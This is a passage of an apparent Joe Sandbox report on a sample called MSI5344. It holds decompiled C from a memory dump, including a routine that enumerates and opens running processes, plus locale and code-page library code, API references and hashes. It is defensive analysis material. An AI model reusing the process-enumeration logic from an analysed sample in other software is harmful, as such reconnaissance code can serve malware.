				_t174 =  *0xaf752d78; // 0x0
				E00007FF77FF7AF6D7860();
				 *((long long*)(_t245 + 0x40)) = 0xaf736760;
				if (0xaf736760 == 0) goto 0xaf6e677d;
				 *0x7FF7AF736768 = 0;
				 *0xaf736760 = 0xaf7367c0;
				goto 0xaf6e67ca;
				_t167 = _t240;
				goto 0xaf6e67ca;
				if (_t174 != 0) goto 0xaf6e67c2;
				E00007FF77FF7AF6E8B64(0, _t245 + 0x48);
				_t144 =  *0xaf752d78 - _t240; // 0x0
				if (_t144 != 0) goto 0xaf6e67b2;
				_t64 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t64 + 1;
				 *0xaf752d78 = _t167;
				E00007FF77FF7AF6E8BDC(_t167, _t245 + 0x48);
				_t175 =  *0xaf752d78; // 0x0
				E00007FF77FF7AF6E2670(_t167, __r14);
				_t241 = _t237;
				E00007FF77FF7AF6E6384(_t175, _t237, _t167, _t237, _t237, _t175);
				_t176 =  *0xaf752d80; // 0x0
				if (__r14 != 0) goto 0xaf6e684a;
				if (_t176 != 0) goto 0xaf6e6827;
				E00007FF77FF7AF6E8B64(0, _t245 + 0x48);
				_t147 =  *0xaf752d80 - _t268; // 0x0
				if (_t147 != 0) goto 0xaf6e6817;
				_t71 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t71 + 1;
				 *0xaf752d80 = _t167;
				E00007FF77FF7AF6E8BDC(_t167, _t245 + 0x48);
				_t177 =  *0xaf752d80; // 0x0
				E00007FF77FF7AF6D7860();
				 *((long long*)(_t245 + 0x40)) = _t167;
				if (_t167 == 0) goto 0xaf6e6892;
				 *(_t167 + 8) =  *(_t167 + 8) & 0x00000000;
				 *_t167 = 0xaf736838;
				goto 0xaf6e6892;
				if (_t177 != 0) goto 0xaf6e688a;
				E00007FF77FF7AF6E8B64(0, _t245 + 0x48);
				_t150 =  *0xaf752d80 - _t177; // 0x0
				if (_t150 != 0) goto 0xaf6e687a;
				_t76 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t76 + 1;
				 *0xaf752d80 = _t167;
				E00007FF77FF7AF6E8BDC(_t167, _t245 + 0x48);
				_t178 =  *0xaf752d80; // 0x0
				E00007FF77FF7AF6E2788(_t167, __r14);
				E00007FF77FF7AF6E6384(_t178, _t241, _t167, _t237, _t241, _t178);
				if (__r14 != 0) goto 0xaf6e692f;
				_t242 =  *0xaf752d88; // 0x0
				if (_t242 != 0) goto 0xaf6e68f0;
				E00007FF77FF7AF6E8B64(0, _t245 + 0x48);
				_t153 =  *0xaf752d88 - _t242; // 0x0
				if (_t153 != 0) goto 0xaf6e68e0;
				_t83 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t83 + 1;
				 *0xaf752d88 = _t167;
				E00007FF77FF7AF6E8BDC(_t167, _t245 + 0x48);
				_t243 =  *0xaf752d88; // 0x0
				E00007FF77FF7AF6D7860();
				_t179 = _t167;
				 *((long long*)(_t245 + 0x40)) = _t167;
				if (_t167 == 0) goto 0xaf6e6925;
				 *(_t167 + 8) =  *(_t167 + 8) & 0x00000000;
				 *_t167 = 0xaf736898;
				r8d = 0;
				E00007FF77FF7AF6E5E58(_t179, _t179, _t243);
				goto 0xaf6e6927;
				goto 0xaf6e6984;
				_t180 =  *0xaf752d88; // 0x0
				if (_t180 != 0) goto 0xaf6e6976;
				E00007FF77FF7AF6E8B64(0, _t245 + 0x48);
				_t156 =  *0xaf752d88 - _t180; // 0x0
				if (_t156 != 0) goto 0xaf6e6966;
				_t89 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t89 + 1;
				 *0xaf752d88 = 0xaf736898;
				E00007FF77FF7AF6E8BDC(0xaf736898, _t245 + 0x48);
				_t181 =  *0xaf752d88; // 0x0
				E00007FF77FF7AF6E28A0(0xaf736898, __r14);
				E00007FF77FF7AF6E6384(_t181, _t237, 0xaf736898, _t237, _t243, _t181);
				if (r15d == 0) goto 0xaf6e6a5a;
				_t182 =  *0xaf752d90; // 0x0
				if (__r14 != 0) goto 0xaf6e6a04;
				if (_t182 != 0) goto 0xaf6e69e1;
				E00007FF77FF7AF6E8B64(0, _t245 + 0x48);
				_t160 =  *0xaf752d90 - _t268; // 0x0
				if (_t160 != 0) goto 0xaf6e69d1;
				_t96 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t96 + 1;
				 *0xaf752d90 = 0xaf736898;
				E00007FF77FF7AF6E8BDC(0xaf736898, _t245 + 0x48);
				_t183 =  *0xaf752d90; // 0x0
				E00007FF77FF7AF6D7860();
				 *((long long*)(_t245 + 0x40)) = 0xaf736898;
				if (0xaf736898 == 0) goto 0xaf6e6a4c;
				 *0x7FF7AF7368A0 =  *0x7FF7AF7368A0 & 0x00000000;
				 *0xaf736898 = 0xaf7368e0;
				goto 0xaf6e6a4c;
				if (_t183 != 0) goto 0xaf6e6a44;
				E00007FF77FF7AF6E8B64(0, _t245 + 0x48);
				_t163 =  *0xaf752d90 - _t183; // 0x0
				if (_t163 != 0) goto 0xaf6e6a34;
				_t101 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t101 + 1;
				 *0xaf752d90 = 0xaf736898;
				E00007FF77FF7AF6E8BDC(0xaf736898, _t245 + 0x48);
				_t184 =  *0xaf752d90; // 0x0
				E00007FF77FF7AF6E2558(0xaf736898, __r14);
				E00007FF77FF7AF6E6384(_t184, _t237, 0xaf736898, _t237, _t243, _t184);
				0xaf7049b0();
				E00007FF77FF7AF6F870C(0, r12d, _t130, _t163, 0xaf736898, _t184, __r13, 0xaf736898, _t237, _t243, _t237, __r14, _t264);
				E00007FF77FF7AF6F7A64(r12d, _t163, 0xaf736898, _t184, __r13, 0xaf736898, _t237, _t243, _t237, __r14, _t264);
				 *(_t237 + 0x20) =  *(_t237 + 0x20) | r12d;
				if ( *((intOrPtr*)(__r13 + 0x58)) != 0) goto 0xaf6e6a9e;
				return E00007FF77FF7AF6DC270(0xaf736898, _t184, _t237 + 0x28, __r13 + 0x60, _t243);
			}

0x7ff7af6e6606
0x7ff7af6e6606
0x7ff7af6e6606
0x7ff7af6e6609
0x7ff7af6e660f
0x7ff7af6e6619
0x7ff7af6e6621
0x7ff7af6e6626
0x7ff7af6e662d
0x7ff7af6e662f
0x7ff7af6e6637
0x7ff7af6e663f
0x7ff7af6e664a
0x7ff7af6e664f
0x7ff7af6e665b
0x7ff7af6e6660
0x7ff7af6e6663
0x7ff7af6e666a
0x7ff7af6e666c
0x7ff7af6e6677
0x7ff7af6e667e
0x7ff7af6e6683
0x7ff7af6e6686
0x7ff7af6e668a
0x7ff7af6e668e
0x7ff7af6e6692
0x7ff7af6e669f
0x7ff7af6e66a6
0x7ff7af6e66a8
0x7ff7af6e66b2
0x7ff7af6e66ba
0x7ff7af6e66bf
0x7ff7af6e66c6
0x7ff7af6e66c8
0x7ff7af6e66d0
0x7ff7af6e66d8
0x7ff7af6e66e3
0x7ff7af6e66e8
0x7ff7af6e66f2
0x7ff7af6e6700
0x7ff7af6e6709
0x7ff7af6e670f
0x7ff7af6e6719
0x7ff7af6e671e
0x7ff7af6e6726
0x7ff7af6e672b
0x7ff7af6e6732
0x7ff7af6e6734
0x7ff7af6e673c
0x7ff7af6e6744
0x7ff7af6e674f
0x7ff7af6e6754
0x7ff7af6e6760
0x7ff7af6e6765
0x7ff7af6e676c
0x7ff7af6e676e
0x7ff7af6e6778
0x7ff7af6e677b
0x7ff7af6e677d
0x7ff7af6e6780
0x7ff7af6e6785
0x7ff7af6e678d
0x7ff7af6e6792
0x7ff7af6e6799
0x7ff7af6e679b
0x7ff7af6e67a3
0x7ff7af6e67ab
0x7ff7af6e67b6
0x7ff7af6e67bb
0x7ff7af6e67c5
0x7ff7af6e67ca
0x7ff7af6e67d6
0x7ff7af6e67db
0x7ff7af6e67e5
0x7ff7af6e67ea
0x7ff7af6e67f2
0x7ff7af6e67f7
0x7ff7af6e67fe
0x7ff7af6e6800
0x7ff7af6e6808
0x7ff7af6e6810
0x7ff7af6e681b
0x7ff7af6e6820
0x7ff7af6e682c
0x7ff7af6e6831
0x7ff7af6e6838
0x7ff7af6e683a
0x7ff7af6e6845
0x7ff7af6e6848
0x7ff7af6e684d
0x7ff7af6e6855
0x7ff7af6e685a
0x7ff7af6e6861
0x7ff7af6e6863
0x7ff7af6e686b
0x7ff7af6e6873
0x7ff7af6e687e
0x7ff7af6e6883
0x7ff7af6e688d
0x7ff7af6e689b
0x7ff7af6e68a3
0x7ff7af6e68a9
0x7ff7af6e68b3
0x7ff7af6e68bb
0x7ff7af6e68c0
0x7ff7af6e68c7
0x7ff7af6e68c9
0x7ff7af6e68d1
0x7ff7af6e68d9
0x7ff7af6e68e4
0x7ff7af6e68e9
0x7ff7af6e68f5
0x7ff7af6e68fa
0x7ff7af6e68fd
0x7ff7af6e6904
0x7ff7af6e6906
0x7ff7af6e6911
0x7ff7af6e6914
0x7ff7af6e691d
0x7ff7af6e6923
0x7ff7af6e692d
0x7ff7af6e692f
0x7ff7af6e6939
0x7ff7af6e6941
0x7ff7af6e6946
0x7ff7af6e694d
0x7ff7af6e694f
0x7ff7af6e6957
0x7ff7af6e695f
0x7ff7af6e696a
0x7ff7af6e696f
0x7ff7af6e6979
0x7ff7af6e6987
0x7ff7af6e698f
0x7ff7af6e6995
0x7ff7af6e699f
0x7ff7af6e69a4
0x7ff7af6e69ac
0x7ff7af6e69b1
0x7ff7af6e69b8
0x7ff7af6e69ba
0x7ff7af6e69c2
0x7ff7af6e69ca
0x7ff7af6e69d5
0x7ff7af6e69da
0x7ff7af6e69e6
0x7ff7af6e69eb
0x7ff7af6e69f2
0x7ff7af6e69f4
0x7ff7af6e69ff
0x7ff7af6e6a02
0x7ff7af6e6a07
0x7ff7af6e6a0f
0x7ff7af6e6a14
0x7ff7af6e6a1b
0x7ff7af6e6a1d
0x7ff7af6e6a25
0x7ff7af6e6a2d
0x7ff7af6e6a38
0x7ff7af6e6a3d
0x7ff7af6e6a47
0x7ff7af6e6a55
0x7ff7af6e6a66
0x7ff7af6e6a77
0x7ff7af6e6a88
0x7ff7af6e6a8d
0x7ff7af6e6a98
0x7ff7af6e6ac1

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E6621
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E664A
_Getctype.LIBCPMT ref: 00007FF7AF6E667E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E66BA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E66E3
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E6726
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E674F
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E678D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E67B6
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E67F2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E681B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E6855
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E687E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E68BB
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E68E4
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E6941
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E696A
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E69AC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E69D5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AF6E6A0F
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7AF6E6A38

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID:
API String ID: 3087743877-0
Opcode ID: 9e04f944dbc2412a618ea474428cc413fc1f15cf86a1137f5e0ca85aba808e8b
Instruction ID: 4582b08774c42f514167c2ac657e8b701d5192cff6110df34f7d625d9a714dbf
Opcode Fuzzy Hash: 9e04f944dbc2412a618ea474428cc413fc1f15cf86a1137f5e0ca85aba808e8b
Instruction Fuzzy Hash: EBD16126E1BB8285FB45BB25D8502F5A299AF58784FCA5035D50D872B2DF3EA841C330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D4D20 Relevance: 16.8, APIs: 11, Instructions: 252
processCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E00007FF77FF7AF6D4D20(long long __rbx, long long __rcx, long long __rdx) {
				void* __rsi;
				void* __rbp;
				void* __r12;
				int _t103;
				void* _t118;
				void* _t128;
				void* _t132;
				void* _t133;
				signed long long _t157;
				signed long long _t158;
				long long _t160;
				long long _t162;
				long long _t163;
				signed long long _t167;
				signed long long _t170;
				intOrPtr* _t178;
				intOrPtr* _t184;
				intOrPtr* _t190;
				intOrPtr _t191;
				intOrPtr _t192;
				intOrPtr _t193;
				intOrPtr* _t200;
				intOrPtr _t210;
				long _t213;
				intOrPtr* _t215;
				void* _t218;
				long long _t219;
				void* _t221;
				intOrPtr* _t222;
				void* _t224;
				signed long long _t225;
				long long _t229;
				int _t233;
				long long* _t234;
				long _t236;
				signed long long _t237;
				void* _t239;
				long long _t241;
				void* _t243;
				long long _t244;

				 *((long long*)(_t224 + 0x18)) = __rbx;
				_t222 = _t224 - 0x250;
				_t225 = _t224 - 0x350;
				_t157 =  *0xaf751030; // 0xa13e9e6732fb
				_t158 = _t157 ^ _t225;
				 *(_t222 + 0x240) = _t158;
				_t244 = __rdx;
				_t234 = __rcx;
				 *((long long*)(_t222 - 0x50)) = __rcx;
				 *((long long*)(_t222 - 0x48)) = __rdx;
				 *(_t225 + 0x60) = 0;
				 *(_t225 + 0x30) = 0;
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x38], xmm0");
				r14d = 0;
				 *((long long*)(_t225 + 0x68)) = __rbx;
				 *(_t225 + 0x48) = __rbx;
				__imp__CreateToolhelp32Snapshot();
				_t237 = _t158;
				 *((long long*)(_t222 - 0x80)) = 0xaf746718;
				 *(_t222 - 0x78) = _t237;
				if (_t237 != 0xffffffff) goto 0xaf6d4dfb;
				 *(_t225 + 0x48) = __rbx;
				 *(_t225 + 0x40) = __rbx;
				 *(_t225 + 0x38) = __rbx;
				 *((long long*)(__rcx)) = __rbx;
				 *((long long*)(__rcx + 8)) = __rbx;
				 *((long long*)(__rcx + 0x10)) = __rbx;
				 *(_t225 + 0x30) = 1;
				 *((long long*)(_t222 - 0x80)) = 0xaf746718;
				CloseHandle(_t243);
				 *(_t222 - 0x78) = __rbx;
				_t184 =  *((intOrPtr*)(__rdx + 0x38));
				if (_t184 == 0) goto 0xaf6d508f;
				_t160 =  *_t184;
				 *((intOrPtr*)(_t160 + 0x20))();
				 *((long long*)(__rdx + 0x38)) = __rbx;
				goto 0xaf6d508f;
				r8d = 0x234;
				E00007FF77FF7AF70ABF0();
				 *_t222 = 0x238;
				_t103 = Process32FirstW(_t239);
				_t178 =  *(_t225 + 0x40);
				if (_t103 == 0) goto 0xaf6d502c;
				r8d =  *((intOrPtr*)(_t222 + 8));
				OpenProcess(_t236, _t233, _t213);
				_t219 = _t160;
				 *((long long*)(_t225 + 0x70)) = 0xaf746718;
				 *((long long*)(_t225 + 0x78)) = _t219;
				if (_t219 != 0xffffffff) goto 0xaf6d4e68;
				 *((long long*)(_t225 + 0x70)) = 0xaf746718;
				goto 0xaf6d5003;
				_t162 = _t222 - 0x20;
				 *((long long*)(_t222 - 0x40)) = _t162;
				E00007FF77FF7AF6D5140(0x410, 0, _t128, _t132, _t133, _t219 - 0xffffffff, _t178, _t222 - 0x20, _t219, _t219, __rcx);
				_t215 = _t162;
				 *((long long*)(_t222 - 0x38)) = _t162;
				_t163 = _t222 - 0x70;
				 *((long long*)(_t222 - 0x30)) = _t163;
				 *((long long*)(_t222 - 0x70)) = _t163;
				 *((long long*)(_t222 - 0x60)) = _t163;
				 *((long long*)(_t222 - 0x58)) = 7;
				if ( *((short*)(_t222 + 0x2a)) != 0) goto 0xaf6d4eb0;
				E00007FF77FF7AF6D2000(_t178, _t222 - 0x70, _t222 + 0x2c, _t219, _t222, 0);
				 *((long long*)(_t222 - 0x28)) = _t222 - 0x70;
				 *((intOrPtr*)(_t225 + 0x50)) =  *((intOrPtr*)(_t222 + 0x20));
				 *((intOrPtr*)(_t225 + 0x58)) =  *((intOrPtr*)(_t222 + 8));
				_t190 =  *(_t244 + 0x38);
				if (_t190 == 0) goto 0xaf6d50c2;
				 *((long long*)(_t225 + 0x20)) = _t215;
				_t229 = _t225 + 0x50;
				r14d =  *((intOrPtr*)( *_t190 + 0x10))() & 0x000000ff;
				_t167 =  *((intOrPtr*)(_t222 - 0x58));
				if (_t167 - 8 < 0) goto 0xaf6d4f49;
				_t191 =  *((intOrPtr*)(_t222 - 0x70));
				if (2 + _t167 * 2 - 0x1000 < 0) goto 0xaf6d4f3e;
				_t192 =  *((intOrPtr*)(_t191 - 8));
				if (_t191 - _t192 - 8 - 0x1f > 0) goto 0xaf6d50c8;
				if (_t192 == 0) goto 0xaf6d4f49;
				LocalFree(_t218);
				r8d = 0;
				 *((long long*)(_t222 - 0x60)) = _t229;
				 *((long long*)(_t222 - 0x58)) = 7;
				 *((intOrPtr*)(_t222 - 0x70)) = r8w;
				_t170 =  *((intOrPtr*)(_t215 + 0x18));
				if (_t170 - 8 < 0) goto 0xaf6d4fa0;
				_t193 =  *_t215;
				if (2 + _t170 * 2 - 0x1000 < 0) goto 0xaf6d4f92;
				_t210 =  *((intOrPtr*)(_t193 - 8));
				if (_t193 - _t210 - 8 - 0x1f > 0) goto 0xaf6d50bc;
				if (_t210 == 0) goto 0xaf6d4fa0;
				LocalFree(_t221);
				r8d = 0;
				 *_t215 = r8w;
				 *((long long*)(_t215 + 0x10)) = _t229;
				 *((long long*)(_t215 + 0x18)) = 7;
				if (r14b == 0) goto 0xaf6d4fef;
				if (_t178 ==  *((intOrPtr*)(_t225 + 0x68))) goto 0xaf6d4fcf;
				 *_t178 =  *((intOrPtr*)(_t222 + 8));
				 *(_t225 + 0x40) = _t178 + 4;
				goto 0xaf6d4fef;
				E00007FF77FF7AF6D5840(_t225 + 0x38, _t178 + 4, _t222 + 8);
				_t241 =  *(_t225 + 0x48);
				 *((long long*)(_t225 + 0x68)) = _t241;
				 *((long long*)(_t225 + 0x70)) = 0xaf746718;
				if (_t219 == 0) goto 0xaf6d5010;
				CloseHandle(??);
				 *((long long*)(_t225 + 0x78)) = 0xaf746718;
				__imp__Process32NextW();
				if (0 != 0) goto 0xaf6d4e30;
				r13d = 0;
				 *(_t225 + 0x48) = _t237;
				 *(_t225 + 0x40) = _t237;
				 *(_t225 + 0x38) = _t237;
				 *_t234 =  *(_t225 + 0x38);
				 *((long long*)(_t234 + 8)) =  *(_t225 + 0x40);
				 *((long long*)(_t234 + 0x10)) = _t241;
				 *(_t225 + 0x30) =  *(_t225 + 0x60) | 0x00000001;
				 *((long long*)(_t222 - 0x80)) = 0xaf746718;
				if (_t237 == 0) goto 0xaf6d5075;
				CloseHandle(??);
				 *(_t222 - 0x78) = _t237;
				_t200 =  *(_t244 + 0x38);
				if (_t200 == 0) goto 0xaf6d508f;
				_t118 =  *((intOrPtr*)( *_t200 + 0x20))();
				 *(_t244 + 0x38) = _t237;
				return E00007FF77FF7AF708B70(_t118, 0x410,  *(_t222 + 0x240) ^ _t225);
			}

0x7ff7af6d4d20
0x7ff7af6d4d30
0x7ff7af6d4d38
0x7ff7af6d4d3f
0x7ff7af6d4d46
0x7ff7af6d4d49
0x7ff7af6d4d50
0x7ff7af6d4d53
0x7ff7af6d4d56
0x7ff7af6d4d5a
0x7ff7af6d4d62
0x7ff7af6d4d66
0x7ff7af6d4d6a
0x7ff7af6d4d6d
0x7ff7af6d4d73
0x7ff7af6d4d76
0x7ff7af6d4d7b
0x7ff7af6d4d85
0x7ff7af6d4d8b
0x7ff7af6d4d95
0x7ff7af6d4d99
0x7ff7af6d4da1
0x7ff7af6d4da3
0x7ff7af6d4da8
0x7ff7af6d4dad
0x7ff7af6d4db2
0x7ff7af6d4db6
0x7ff7af6d4dbb
0x7ff7af6d4dc0
0x7ff7af6d4dc8
0x7ff7af6d4dcf
0x7ff7af6d4dd5
0x7ff7af6d4dd9
0x7ff7af6d4de0
0x7ff7af6d4de6
0x7ff7af6d4def
0x7ff7af6d4df2
0x7ff7af6d4df6
0x7ff7af6d4dfd
0x7ff7af6d4e07
0x7ff7af6d4e0c
0x7ff7af6d4e1d
0x7ff7af6d4e23
0x7ff7af6d4e2a
0x7ff7af6d4e30
0x7ff7af6d4e3b
0x7ff7af6d4e41
0x7ff7af6d4e4b
0x7ff7af6d4e50
0x7ff7af6d4e59
0x7ff7af6d4e5b
0x7ff7af6d4e63
0x7ff7af6d4e68
0x7ff7af6d4e6c
0x7ff7af6d4e77
0x7ff7af6d4e7c
0x7ff7af6d4e7f
0x7ff7af6d4e83
0x7ff7af6d4e87
0x7ff7af6d4e8d
0x7ff7af6d4e91
0x7ff7af6d4e95
0x7ff7af6d4eb9
0x7ff7af6d4ec3
0x7ff7af6d4ecc
0x7ff7af6d4ed3
0x7ff7af6d4eda
0x7ff7af6d4ede
0x7ff7af6d4ee5
0x7ff7af6d4eee
0x7ff7af6d4ef7
0x7ff7af6d4f04
0x7ff7af6d4f08
0x7ff7af6d4f10
0x7ff7af6d4f1a
0x7ff7af6d4f27
0x7ff7af6d4f29
0x7ff7af6d4f38
0x7ff7af6d4f41
0x7ff7af6d4f43
0x7ff7af6d4f49
0x7ff7af6d4f4c
0x7ff7af6d4f50
0x7ff7af6d4f58
0x7ff7af6d4f5d
0x7ff7af6d4f65
0x7ff7af6d4f67
0x7ff7af6d4f78
0x7ff7af6d4f7a
0x7ff7af6d4f89
0x7ff7af6d4f95
0x7ff7af6d4f97
0x7ff7af6d4f9d
0x7ff7af6d4fa0
0x7ff7af6d4fa4
0x7ff7af6d4fa8
0x7ff7af6d4fb8
0x7ff7af6d4fbd
0x7ff7af6d4fc2
0x7ff7af6d4fc8
0x7ff7af6d4fcd
0x7ff7af6d4fdb
0x7ff7af6d4fe0
0x7ff7af6d4fe5
0x7ff7af6d4ff6
0x7ff7af6d4ffe
0x7ff7af6d5003
0x7ff7af6d500b
0x7ff7af6d501a
0x7ff7af6d5022
0x7ff7af6d502c
0x7ff7af6d502f
0x7ff7af6d5034
0x7ff7af6d503e
0x7ff7af6d5043
0x7ff7af6d5047
0x7ff7af6d504c
0x7ff7af6d5054
0x7ff7af6d505f
0x7ff7af6d5066
0x7ff7af6d506b
0x7ff7af6d5071
0x7ff7af6d5075
0x7ff7af6d507c
0x7ff7af6d5087
0x7ff7af6d508b
0x7ff7af6d50bb

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7AF6D4D85
CloseHandle.KERNEL32 ref: 00007FF7AF6D4DCF
Process32FirstW.KERNEL32 ref: 00007FF7AF6D4E1D
OpenProcess.KERNEL32 ref: 00007FF7AF6D4E3B
CloseHandle.KERNEL32 ref: 00007FF7AF6D5003
Process32NextW.KERNEL32 ref: 00007FF7AF6D501A
CloseHandle.KERNEL32 ref: 00007FF7AF6D506B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D50BC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D50C8

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: CloseHandle$Process32_invalid_parameter_noinfo_noreturn$CreateFirstNextOpenProcessSnapshotToolhelp32
String ID:
API String ID: 1975257819-0
Opcode ID: 619988f7cafb7055df48102cfa223946c017162a287fd1b6427edac72b68a12e
Instruction ID: 6a12678c15fb98ed05741f9ce1dcd9324481621a8d51ac968a30be20f4a47954
Opcode Fuzzy Hash: 619988f7cafb7055df48102cfa223946c017162a287fd1b6427edac72b68a12e
Instruction Fuzzy Hash: 2DB19036A06B818AEB10DF25E8842ADB7B9FB48798F911235DE4D43B64DF3CD494C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF72B664 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E00007FF77FF7AF72B664(void* __ecx, void* __edx, long long __rbx, intOrPtr* __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, void* __r8, signed int __r9, void* __r10) {
				intOrPtr _t37;
				intOrPtr _t49;
				void* _t50;
				void* _t87;
				intOrPtr* _t88;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t114;
				intOrPtr* _t118;
				long long _t121;
				void* _t122;
				void* _t124;
				signed long long _t137;
				void* _t138;
				void* _t140;
				int _t142;
				intOrPtr* _t143;
				void* _t145;
				intOrPtr* _t146;

				_t110 = __rdx;
				_t50 = __ecx;
				_t87 = _t124;
				 *((long long*)(_t87 + 8)) = __rbx;
				 *((long long*)(_t87 + 0x10)) = _t121;
				 *((long long*)(_t87 + 0x18)) = __rsi;
				 *((long long*)(_t87 + 0x20)) = __rdi;
				_t122 = __r8;
				_t143 = __rdx;
				_t114 = __rcx;
				E00007FF77FF7AF72257C(_t87, __rbx, __rcx, __rdx, __rsi, __r9, _t145);
				r12d = 0;
				_t5 = _t87 + 0x98; // 0x98
				_t93 = _t5;
				_t88 = _t114 + 0x80;
				 *((intOrPtr*)(_t93 + 0x10)) = r12d;
				_t8 = _t93 + 0x258; // 0x2f0
				_t146 = _t8;
				 *_t93 = _t114;
				_t9 = _t93 + 8; // 0xa0
				_t118 = _t9;
				 *_t146 = r12w;
				 *_t118 = _t88;
				if ( *_t88 == r12w) goto 0xaf72b6d9;
				_t10 = _t140 + 0x16; // 0x16
				E00007FF77FF7AF72B5C8(_t10, _t93, 0xaf73f8c0, _t114, _t118, _t118);
				if ( *((intOrPtr*)( *_t93)) == r12w) goto 0xaf72b72f;
				if ( *((intOrPtr*)( *_t118)) == r12w) goto 0xaf72b6f2;
				E00007FF77FF7AF72AF58(_t93, _t93, _t118, __r9);
				goto 0xaf72b6f7;
				E00007FF77FF7AF72B028(_t93, _t93, _t118, __r9);
				if ( *((intOrPtr*)(_t93 + 0x10)) != r12d) goto 0xaf72b73e;
				if (E00007FF77FF7AF72B5C8(0x40, _t93, 0xaf73f4a0, _t114, _t118, _t93) == 0) goto 0xaf72b734;
				_t90 =  *_t118;
				if ( *_t90 == r12w) goto 0xaf72b728;
				E00007FF77FF7AF72AF58(_t93, _t93, _t93, __r9);
				goto 0xaf72b734;
				E00007FF77FF7AF72B028(_t93, _t93, _t93, __r9);
				goto 0xaf72b734;
				E00007FF77FF7AF72AEB0(_t50,  *_t90 - r12w, _t93, _t93, _t110, _t118, _t93, __r9, __r10);
				if ( *((intOrPtr*)(_t93 + 0x10)) == r12d) goto 0xaf72b891;
				if ( *_t114 != r12w) goto 0xaf72b759;
				if ( *((intOrPtr*)(_t114 + 0x100)) != r12w) goto 0xaf72b759;
				GetACP();
				goto 0xaf72b761;
				_t37 = E00007FF77FF7AF72B498(_t50, _t93, _t114 + 0x100, _t93, _t118, __r8, __r9, __r10);
				_t49 = _t37;
				if (_t37 == 0) goto 0xaf72b891;
				if (_t37 == 0xfde8) goto 0xaf72b891;
				if (IsValidCodePage(_t142) == 0) goto 0xaf72b891;
				if (_t143 == 0) goto 0xaf72b78f;
				 *_t143 = _t49;
				if (_t122 == 0) goto 0xaf72b88a;
				_t119 = _t122 + 0x120;
				 *((intOrPtr*)(_t122 + 0x120)) = r12w;
				_t137 = (__r9 | 0xffffffff) + 1;
				if ( *((intOrPtr*)(_t146 + _t137 * 2)) != r12w) goto 0xaf72b7a7;
				_t138 = _t137 + 1;
				if (E00007FF77FF7AF729648(_t90, _t93, _t122 + 0x120, _t93, _t122 + 0x120, _t146, _t138, _t140) != 0) goto 0xaf72b8b2;
				_t17 = _t90 + 0x40; // 0x40
				r9d = _t17;
				if (E00007FF77FF7AF724B54(0x1001, E00007FF77FF7AF729648(_t90, _t93, _t122 + 0x120, _t93, _t122 + 0x120, _t146, _t138, _t140), _t90, _t93, _t122 + 0x120, _t122 + 0x120, _t122, _t122) == 0) goto 0xaf72b891;
				r9d = 0x40;
